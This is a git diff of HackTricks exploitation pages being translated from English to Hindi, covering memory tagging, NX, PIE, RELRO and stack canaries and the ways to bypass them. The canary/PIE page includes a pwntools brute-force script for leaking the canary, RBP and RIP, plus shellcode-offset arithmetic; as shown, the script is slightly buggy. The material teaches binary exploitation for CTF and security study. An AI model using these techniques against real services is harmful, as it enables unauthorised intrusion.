CPU टैग को **निर्देश निष्पादन के दौरान** चेक करता है, यदि कोई असंगति होती है, तो यह एक अपवाद उठाता है।\
|
||||
यह सबसे धीमा और सबसे सुरक्षित है।
|
||||
|
||||
### Async
|
||||
|
||||
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
|
||||
CPU टैग को **असिंक्रोनसली** चेक करता है, और जब कोई असंगति पाई जाती है, तो यह सिस्टम रजिस्टर में एक अपवाद बिट सेट करता है। यह पिछले वाले से **तेज़** है लेकिन यह **सटीक निर्देश को इंगित करने में असमर्थ** है जो असंगति का कारण बनता है और यह तुरंत अपवाद नहीं उठाता, जिससे हमलावर को अपने हमले को पूरा करने के लिए कुछ समय मिलता है।
|
||||
|
||||
### Mixed
|
||||
|
||||
@ -56,26 +54,26 @@ The CPU check the tags **asynchronously**, and when a mismatch is found it sets
|
||||
|
||||
## Implementation & Detection Examples
|
||||
|
||||
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
|
||||
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
|
||||
इसे हार्डवेयर टैग-आधारित KASAN, MTE-आधारित KASAN या इन-कर्नेल MTE कहा जाता है।\
|
||||
कर्नेल आवंटक (जैसे `kmalloc`) इस **मॉड्यूल को कॉल करेंगे** जो उपयोग के लिए टैग तैयार करेगा (यादृच्छिक रूप से) इसे कर्नेल स्पेस आवंटित करने और लौटाए गए पॉइंटर से जोड़ने के लिए।
|
||||
|
||||
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
|
||||
ध्यान दें कि यह **केवल पर्याप्त मेमोरी ग्रेन्यूल्स** (प्रत्येक 16B) को अनुरोधित आकार के लिए **मार्क** करेगा। इसलिए यदि अनुरोधित आकार 35 था और 60B का एक स्लैब दिया गया, तो यह पहले 16\*3 = 48B को इस टैग के साथ **मार्क** करेगा और **बाकी** को एक तथाकथित **अमान्य टैग (0xE)** के साथ **मार्क** करेगा।
|
||||
|
||||
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
|
||||
टैग **0xF** **सभी पॉइंटर से मेल खाता है**। इस पॉइंटर के साथ एक मेमोरी **किसी भी टैग का उपयोग** करने की अनुमति देती है ताकि इसकी मेमोरी तक पहुंचा जा सके (कोई असंगतियाँ नहीं)। यदि इस टैग का उपयोग हमले की गई मेमोरी में किया जा रहा है, तो यह MET को हमले का पता लगाने से रोक सकता है।
|
||||
|
||||
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
|
||||
इसलिए केवल **14 मान** हैं जो टैग उत्पन्न करने के लिए उपयोग किए जा सकते हैं क्योंकि 0xE और 0xF आरक्षित हैं, जिससे टैग **पुन: उपयोग** की संभावना 1/17 -> लगभग **7%** हो जाती है।
|
||||
|
||||
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
|
||||
यदि कर्नेल **अमान्य टैग ग्रेन्यूल** तक पहुंचता है, तो **असंगति** **पता लगाई जाएगी**। यदि यह किसी अन्य मेमोरी स्थान तक पहुंचता है, यदि **मेमोरी में एक अलग टैग** (या अमान्य टैग) है तो असंगति **पता लगाई जाएगी।** यदि हमलावर भाग्यशाली है और मेमोरी उसी टैग का उपयोग कर रही है, तो यह पता नहीं चलेगा। संभावनाएँ लगभग 7% हैं।
|
||||
|
||||
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
|
||||
एक और बग आवंटित मेमोरी के **अंतिम ग्रेन्यूल** में होता है। यदि एप्लिकेशन ने 35B का अनुरोध किया, तो इसे 32 से 48 तक का ग्रेन्यूल दिया गया। इसलिए, **36 से 47 तक के बाइट्स उसी टैग का उपयोग कर रहे हैं** लेकिन उन्हें अनुरोध नहीं किया गया था। यदि हमलावर **इन अतिरिक्त बाइट्स तक पहुंचता है, तो यह पता नहीं चलेगा**।
|
||||
|
||||
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
|
||||
जब **`kfree()`** निष्पादित होता है, तो मेमोरी को अमान्य मेमोरी टैग के साथ फिर से टैग किया जाता है, इसलिए एक **यूज़-आफ्टर-फ्री** में, जब मेमोरी को फिर से एक्सेस किया जाता है, तो **असंगति का पता लगाया जाता है**।
|
||||
|
||||
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
|
||||
हालांकि, एक यूज़-आफ्टर-फ्री में, यदि वही **चंक फिर से उसी टैग के साथ आवंटित किया जाता है** जैसा पहले था, तो एक हमलावर इस एक्सेस का उपयोग कर सकेगा और यह पता नहीं चलेगा (लगभग 7% संभावना)।
|
||||
|
||||
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
|
||||
इसके अलावा, केवल **`slab` और `page_alloc`** टैग की गई मेमोरी का उपयोग करते हैं लेकिन भविष्य में इसका उपयोग `vmalloc`, `stack` और `globals` में भी किया जाएगा (वीडियो के समय ये अभी भी दुरुपयोग किए जा सकते हैं)।
|
||||
|
||||
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
|
||||
जब **असंगति का पता लगाया जाता है**, तो कर्नेल **पैनिक** करेगा ताकि आगे के शोषण और शोषण के पुनः प्रयासों को रोका जा सके (MTE में झूठे सकारात्मक नहीं होते)।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,13 +4,13 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
|
||||
**No-Execute (NX)** बिट, जिसे Intel शब्दावली में **Execute Disable (XD)** के रूप में भी जाना जाता है, एक हार्डवेयर-आधारित सुरक्षा विशेषता है जो **buffer overflow** हमलों के प्रभावों को **कम करने** के लिए डिज़ाइन की गई है। जब इसे लागू और सक्षम किया जाता है, तो यह उन मेमोरी क्षेत्रों के बीच अंतर करता है जो **executables code** के लिए निर्धारित हैं और उन क्षेत्रों के लिए जो **data** के लिए हैं, जैसे कि **stack** और **heap**। इसका मुख्य विचार यह है कि हमलावर को बफर ओवरफ्लो कमजोरियों के माध्यम से दुर्भावनापूर्ण कोड को निष्पादित करने से रोकना है, उदाहरण के लिए, दुर्भावनापूर्ण कोड को स्टैक में डालकर और निष्पादन प्रवाह को इसकी ओर निर्देशित करना।
|
||||
|
||||
## Bypasses
|
||||
|
||||
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
- **Ret2...**
|
||||
- यह तकनीकों का उपयोग करना संभव है जैसे कि [**ROP**](../rop-return-oriented-programing/) **इस सुरक्षा को बायपास करने** के लिए पहले से मौजूद बाइनरी में निष्पादनीय कोड के टुकड़ों को निष्पादित करना।
|
||||
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
|
||||
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
|
||||
- **Ret2...**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,26 +4,26 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
|
||||
एक बाइनरी जिसे PIE, या **पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल** के रूप में संकलित किया गया है, का मतलब है कि **प्रोग्राम हर बार इसे निष्पादित करने पर विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, जिससे हार्डकोडेड पते को रोका जा सकता है।
|
||||
|
||||
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
|
||||
इन बाइनरीज़ का शोषण करने का तरीका **सापेक्ष पते** का शोषण करना है—प्रोग्राम के भागों के बीच के ऑफसेट समान रहते हैं भले ही निरपेक्ष स्थान बदल जाए। **PIE को बायपास करने के लिए, आपको केवल एक पता लीक करने की आवश्यकता है**, आमतौर पर **स्टैक** से फॉर्मेट स्ट्रिंग हमलों जैसी कमजोरियों का उपयोग करके। एक बार जब आपके पास एक पता हो, तो आप उनके **फिक्स्ड ऑफसेट्स** द्वारा अन्य का अनुमान लगा सकते हैं।
|
||||
|
||||
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
|
||||
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
|
||||
PIE बाइनरीज़ का शोषण करने में एक सहायक संकेत यह है कि उनका **बेस पता आमतौर पर 000 पर समाप्त होता है** क्योंकि मेमोरी पृष्ठ यादृच्छिकता की इकाइयाँ होती हैं, जिनका आकार 0x1000 बाइट्स होता है। यह संरेखण एक महत्वपूर्ण **जांच हो सकती है यदि कोई शोषण अपेक्षित रूप से काम नहीं कर रहा है**, यह संकेत करता है कि क्या सही बेस पता पहचाना गया है।\
|
||||
या आप इसे अपने शोषण के लिए उपयोग कर सकते हैं, यदि आप लीक करते हैं कि एक पता **`0x649e1024`** पर स्थित है, तो आप जानते हैं कि **बेस पता `0x649e1000`** है और वहां से आप बस **फंक्शंस और स्थानों के ऑफसेट्स** की गणना कर सकते हैं।
|
||||
|
||||
## Bypasses
|
||||
|
||||
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
|
||||
PIE को बायपास करने के लिए लोड की गई बाइनरी के **कुछ पते को लीक करना आवश्यक है**, इसके लिए कुछ विकल्प हैं:
|
||||
|
||||
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
|
||||
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
|
||||
- **ASLR बंद**: यदि ASLR बंद है, तो PIE के साथ संकलित बाइनरी हमेशा **एक ही पते पर लोड होने वाली है**, इसलिए **PIE बेकार हो जाएगा** क्योंकि वस्तुओं के पते हमेशा एक ही स्थान पर होंगे।
|
||||
- लीक **प्राप्त करना** (आसान CTF चुनौतियों में सामान्य, [**इस उदाहरण की जांच करें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
- स्टैक में **EBP और EIP मानों को ब्रूट-फोर्स करना** जब तक कि आप सही लीक न कर लें:
|
||||
|
||||
{{#ref}}
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
- एक **मनमाना पढ़ने** की कमजोरी का उपयोग करें जैसे कि [**फॉर्मेट स्ट्रिंग**](../../format-strings/) बाइनरी का एक पता लीक करने के लिए (जैसे, पिछले तकनीक की तरह स्टैक से) बाइनरी का बेस प्राप्त करने के लिए और वहां से ऑफसेट्स का उपयोग करें। [**यहां एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -2,55 +2,54 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
|
||||
**यदि आप एक बाइनरी का सामना कर रहे हैं जो एक कैनरी और PIE (पोजीशन इंडिपेंडेंट एक्सीक्यूटेबल) द्वारा सुरक्षित है, तो आपको शायद उन्हें बायपास करने का एक तरीका खोजने की आवश्यकता है।**
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
|
||||
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
|
||||
> ध्यान दें कि **`checksec`** यह नहीं पता लगा सकता है कि एक बाइनरी कैनरी द्वारा सुरक्षित है यदि इसे स्थिर रूप से संकलित किया गया था और यह फ़ंक्शन की पहचान करने में सक्षम नहीं है।\
|
||||
> हालाँकि, आप इसे मैन्युअल रूप से देख सकते हैं यदि आप पाते हैं कि एक मान फ़ंक्शन कॉल की शुरुआत में स्टैक में सहेजा गया है और यह मान बाहर निकलने से पहले जांचा जाता है।
|
||||
|
||||
## Brute-Force Addresses
|
||||
|
||||
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
|
||||
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
|
||||
**PIE को बायपास करने के लिए** आपको **कुछ पते लीक करने** की आवश्यकता है। और यदि बाइनरी कोई पते लीक नहीं कर रही है, तो इसे करने का सबसे अच्छा तरीका है **कमजोर फ़ंक्शन में स्टैक में सहेजे गए RBP और RIP को ब्रूट-फोर्स करना।**\
|
||||
उदाहरण के लिए, यदि एक बाइनरी को **कैनरी** और **PIE** दोनों का उपयोग करके सुरक्षित किया गया है, तो आप कैनरी को ब्रूट-फोर्स करना शुरू कर सकते हैं, फिर **अगले** 8 बाइट्स (x64) सहेजे गए **RBP** होंगे और **अगले** 8 बाइट्स सहेजे गए **RIP** होंगे।
|
||||
|
||||
> [!TIP]
|
||||
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
|
||||
|
||||
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
|
||||
> यह माना जाता है कि स्टैक के अंदर लौटने वाला पता मुख्य बाइनरी कोड से संबंधित है, जो, यदि कमजोर बिंदु बाइनरी कोड में स्थित है, तो आमतौर पर ऐसा ही होगा।
|
||||
|
||||
बाइनरी से RBP और RIP को ब्रूट-फोर्स करने के लिए, आप यह पता लगा सकते हैं कि एक मान्य अनुमानित बाइट सही है यदि प्रोग्राम कुछ आउटपुट करता है या यह बस क्रैश नहीं होता है। **कैनरी को ब्रूट-फोर्स करने के लिए प्रदान की गई** वही फ़ंक्शन RBP और RIP को ब्रूट-फोर्स करने के लिए उपयोग की जा सकती है:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
def connect():
|
||||
r = remote("localhost", 8788)
|
||||
r = remote("localhost", 8788)
|
||||
|
||||
def get_bf(base):
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
canary = ""
|
||||
guess = 0x0
|
||||
base += canary
|
||||
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
while len(canary) < 8:
|
||||
while guess != 0xff:
|
||||
r = connect()
|
||||
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
r.recvuntil("Username: ")
|
||||
r.send(base + chr(guess))
|
||||
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
if "SOME OUTPUT" in r.clean():
|
||||
print "Guessed correct byte:", format(guess, '02x')
|
||||
canary += chr(guess)
|
||||
base += chr(guess)
|
||||
guess = 0x0
|
||||
r.close()
|
||||
break
|
||||
else:
|
||||
guess += 1
|
||||
r.close()
|
||||
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
||||
return base
|
||||
|
||||
# CANARY BF HERE
|
||||
canary_offset = 1176
|
||||
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
|
||||
base_canary_rbp_rip = get_bf(base_canary_rbp)
|
||||
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
|
||||
```
|
||||
आपको PIE को हराने के लिए अंतिम चीज़ **लीक किए गए** पते से **उपयोगी पते** की गणना करना है: **RBP** और **RIP**।
|
||||
|
||||
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
|
||||
|
||||
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
|
||||
|
||||
**RBP** से आप यह गणना कर सकते हैं कि **आप स्टैक में अपना शेल कहाँ लिख रहे हैं**। यह जानना बहुत उपयोगी हो सकता है कि आप स्टैक के अंदर स्ट्रिंग _"/bin/sh\x00"_ कहाँ लिखने जा रहे हैं। लीक किए गए RBP और आपके शेलकोड के बीच की दूरी की गणना करने के लिए, आप बस **RBP लीक करने के बाद एक ब्रेकपॉइंट डाल सकते हैं** और चेक कर सकते हैं **आपका शेलकोड कहाँ स्थित है**, फिर, आप शेलकोड और RBP के बीच की दूरी की गणना कर सकते हैं:
|
||||
```python
|
||||
INI_SHELLCODE = RBP - 1152
|
||||
```
|
||||
|
||||
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
|
||||
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
|
||||
**RIP** से आप **PIE बाइनरी का बेस एड्रेस** निकाल सकते हैं, जो आपको **मान्य ROP चेन** बनाने के लिए चाहिए होगा।\
|
||||
बेस एड्रेस निकालने के लिए बस `objdump -d vunbinary` करें और नवीनतम पतों को असेंबल करें:
|
||||
|
||||
.png>)
|
||||
|
||||
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
|
||||
|
||||
उस उदाहरण में आप देख सकते हैं कि सभी कोड को स्थानांतरित करने के लिए केवल **1 बाइट और आधा** आवश्यक है, फिर, इस स्थिति में बेस एड्रेस **लीक किए गए RIP पर "000" के साथ समाप्त होगा**। उदाहरण के लिए, यदि आपने `0x562002970ecf` लीक किया, तो बेस एड्रेस `0x562002970000` है।
|
||||
```python
|
||||
elf.address = RIP - (RIP & 0xfff)
|
||||
```
|
||||
## सुधार
|
||||
|
||||
## Improvements
|
||||
[**इस पोस्ट से कुछ अवलोकनों के अनुसार**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), यह संभव है कि जब RBP और RIP मानों को लीक किया जा रहा हो, तो कुछ मानों के साथ सर्वर क्रैश नहीं होगा जो सही नहीं हैं और BF स्क्रिप्ट सोच सकती है कि उसे अच्छे मान मिल गए हैं। इसका कारण यह है कि **कुछ पते बस इसे नहीं तोड़ेंगे भले ही वे बिल्कुल सही न हों**।
|
||||
|
||||
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
|
||||
|
||||
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
|
||||
उस ब्लॉग पोस्ट के अनुसार, सर्वर के लिए अनुरोधों के बीच एक छोटा विलंब जोड़ने की सिफारिश की गई है।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,32 +4,30 @@
|
||||
|
||||
## Relro
|
||||
|
||||
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
|
||||
**RELRO** का मतलब है **Relocation Read-Only**, और यह बाइनरी में एक सुरक्षा विशेषता है जो **GOT (Global Offset Table)** ओवरराइट्स से संबंधित जोखिमों को कम करने के लिए उपयोग की जाती है। **RELRO** सुरक्षा के दो प्रकार हैं: (1) **Partial RELRO** और (2) **Full RELRO**। दोनों **GOT** और **BSS** को ELF फ़ाइलों से पुनर्व्यवस्थित करते हैं, लेकिन विभिन्न परिणामों और निहितार्थों के साथ। विशेष रूप से, वे **GOT** अनुभाग को **BSS** से _पहले_ रखते हैं। अर्थात, **GOT** के पते **BSS** से कम हैं, जिससे **BSS** में वेरिएबल्स को ओवरफ्लो करके **GOT** प्रविष्टियों को ओवरराइट करना असंभव हो जाता है (याद रखें कि मेमोरी में लिखना निम्न से उच्च पते की ओर होता है)।
|
||||
|
||||
Let's break down the concept into its two distinct types for clarity.
|
||||
स्पष्टता के लिए, हम इस अवधारणा को इसके दो अलग-अलग प्रकारों में विभाजित करते हैं।
|
||||
|
||||
### **Partial RELRO**
|
||||
|
||||
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
|
||||
**Partial RELRO** सुरक्षा को बढ़ाने के लिए एक सरल दृष्टिकोण अपनाता है बिना बाइनरी के प्रदर्शन पर महत्वपूर्ण प्रभाव डाले। Partial RELRO **.got को केवल पढ़ने योग्य बनाता है (GOT अनुभाग का गैर-PLT भाग)**। ध्यान रखें कि अनुभाग का बाकी हिस्सा (जैसे .got.plt) अभी भी लिखने योग्य है और, इसलिए, हमलों के अधीन है। यह **GOT** को **मनमाने लिखने** की कमजोरियों से दुरुपयोग करने से नहीं रोकता है।
|
||||
|
||||
Note: By default, GCC compiles binaries with Partial RELRO.
|
||||
नोट: डिफ़ॉल्ट रूप से, GCC बाइनरी को Partial RELRO के साथ संकलित करता है।
|
||||
|
||||
### **Full RELRO**
|
||||
|
||||
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
|
||||
**Full RELRO** सुरक्षा को बढ़ाता है **पूरे GOT (दोनों .got और .got.plt) और .fini_array** अनुभाग को पूरी तरह से **पढ़ने योग्य** बनाकर। एक बार जब बाइनरी शुरू होती है, तो सभी फ़ंक्शन पते GOT में हल और लोड होते हैं, फिर, GOT को पढ़ने योग्य के रूप में चिह्नित किया जाता है, प्रभावी रूप से रनटाइम के दौरान इसमें किसी भी संशोधन को रोकता है।
|
||||
|
||||
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
|
||||
|
||||
It's possible to see if Full RELRO is **enabled** in a binary with:
|
||||
हालांकि, Full RELRO के साथ व्यापार-निष्कर्ष प्रदर्शन और स्टार्टअप समय के संदर्भ में है। क्योंकि इसे GOT को पढ़ने योग्य के रूप में चिह्नित करने से पहले स्टार्टअप पर सभी गतिशील प्रतीकों को हल करने की आवश्यकता होती है, **Full RELRO सक्षम बाइनरी में लंबे लोड समय का अनुभव हो सकता है**। यह अतिरिक्त स्टार्टअप ओवरहेड ही कारण है कि Full RELRO सभी बाइनरी में डिफ़ॉल्ट रूप से सक्षम नहीं है।
|
||||
|
||||
यह देखना संभव है कि क्या Full RELRO एक बाइनरी में **सक्षम** है:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
|
||||
## Bypass
|
||||
|
||||
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
|
||||
यदि Full RELRO सक्षम है, तो इसे बायपास करने का एकमात्र तरीका यह है कि कोई और तरीका खोजा जाए जिसे मनमाने निष्पादन के लिए GOT तालिका में लिखने की आवश्यकता न हो।
|
||||
|
||||
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
||||
ध्यान दें कि **LIBC का GOT आमतौर पर Partial RELRO है**, इसलिए इसे मनमाने लिखने के साथ संशोधित किया जा सकता है। अधिक जानकारी के लिए [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,72 +2,72 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **StackGuard and StackShield**
|
||||
## **StackGuard और StackShield**
|
||||
|
||||
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
|
||||
**StackGuard** एक विशेष मान जिसे **canary** कहा जाता है, को **EIP (Extended Instruction Pointer)** से पहले डालता है, विशेष रूप से `0x000aff0d` (जो null, newline, EOF, carriage return का प्रतिनिधित्व करता है) बफर ओवरफ्लो से बचाने के लिए। हालाँकि, `recv()`, `memcpy()`, `read()`, और `bcopy()` जैसी फ़ंक्शन कमजोर रहती हैं, और यह **EBP (Base Pointer)** की सुरक्षा नहीं करता है।
|
||||
|
||||
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
|
||||
**StackShield** StackGuard की तुलना में एक अधिक परिष्कृत दृष्टिकोण अपनाता है, जो एक **Global Return Stack** बनाए रखता है, जो सभी रिटर्न पते (**EIPs**) को संग्रहीत करता है। यह सेटअप सुनिश्चित करता है कि कोई भी ओवरफ्लो नुकसान नहीं पहुँचाता है, क्योंकि यह संग्रहीत और वास्तविक रिटर्न पते के बीच तुलना की अनुमति देता है ताकि ओवरफ्लो की घटनाओं का पता लगाया जा सके। इसके अतिरिक्त, StackShield रिटर्न पते की तुलना एक सीमा मान से कर सकता है ताकि यह पता लगाया जा सके कि क्या **EIP** अपेक्षित डेटा स्थान के बाहर इंगित करता है। हालाँकि, इस सुरक्षा को Return-to-libc, ROP (Return-Oriented Programming), या ret2ret जैसी तकनीकों के माध्यम से दरकिनार किया जा सकता है, यह संकेत करता है कि StackShield स्थानीय चर की भी सुरक्षा नहीं करता है।
|
||||
|
||||
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
|
||||
|
||||
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
|
||||
